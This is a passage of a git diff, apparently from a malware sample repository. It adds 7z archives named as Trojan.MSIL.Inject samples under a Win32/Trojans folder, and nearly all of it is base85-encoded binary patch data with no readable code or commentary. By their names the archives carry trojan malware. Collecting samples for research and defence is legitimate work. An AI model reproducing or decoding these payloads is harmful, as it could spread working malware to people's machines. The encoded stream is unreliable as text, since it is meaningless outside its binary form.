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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.bq.7z new file mode 100644 index 0000000000000000000000000000000000000000..b74eb57ef4bc57b954bbb8294c3222ff4db1cf4f GIT binary patch literal 12149 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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.qn.7z new file mode 100644 index 0000000000000000000000000000000000000000..c815c5a0f9b74a6dba7c0be5e8f68880ce818587 GIT binary patch literal 42029 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 